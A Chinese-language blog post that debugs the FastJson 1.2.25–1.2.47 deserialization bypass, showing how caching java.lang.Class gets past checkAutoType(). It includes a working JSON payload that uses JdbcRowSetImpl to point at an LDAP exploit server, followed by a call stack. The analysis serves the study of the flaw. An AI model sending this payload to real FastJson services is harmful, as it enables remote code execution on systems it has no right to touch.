Web
前面调试分析了FastJson 1.2.24的反序列化漏洞,通过JdbcRowsetImpl的gadget可以成功利用。在1.2.24版本之后,默认不开启AutoTypeSupport,使用了checkAutoType()函数,通过黑白名单的方式来防御FastJson反序列化漏洞,因此后面发现的FastJson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。并且这些利用方式都是需要开启AutoTypeSupport,开启方式如下:
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
导入1.2.47版本,使用之前的payload,发现报错autoType is not support,因为payload里的class在黑名单内。

一直到2019年发现了FastJson 1.2.25-1.2.47版本内的反序列化漏洞,该漏洞巧妙地绕过了checkAutoType()函数,并且无需开启AutoTypeSupport,于是又火了一把。
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| {
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}
|
打开LdapServer,运行payload成功触发命令执行。

下面开始调试,同样在JSON.parse(payload)处打断点。
直接来到DefaultJSONParser里,对java.lang.Class进行checkAutoType的位置

然后来到ParserConfig里,看到没有开启autoTypeSupport,所以值为默认的false

接着通过getClassFromMapping(typeName)从Mappings里取对应的类


没有获取到,然后进入下面的findClass函数里,并且最终找到了java.lang.Class


于是通过了checkAutoType函数
然后,进入到后面的deserialize函数里

并将val传入的值解析出来传递给strVal


随后判断clazz是否为class类,是的话进入TypeUtils.loadClass函数里

来到loadClass函数,看到cache的值为true,并且最终将com.sun.rowset.JdbcRowSetImpl传入mappings


继续往下调,后面跟到了对com.sun.rowset.JdbcRowSetImpl这个@type进行checkAutoType的地方,看看是怎么绕过的。

意料之中,clazz从前面的mapping里取到了值

然后返回了,成功绕过checkAutoType函数

然后在deserializer.deserialze函数里触发反序列化漏洞。

调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| connect:615, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser) parse:152, JSON (com.alibaba.fastjson) parse:162, JSON (com.alibaba.fastjson) parse:131, JSON (com.alibaba.fastjson) main:11, JdbcRowSetImpPoc
|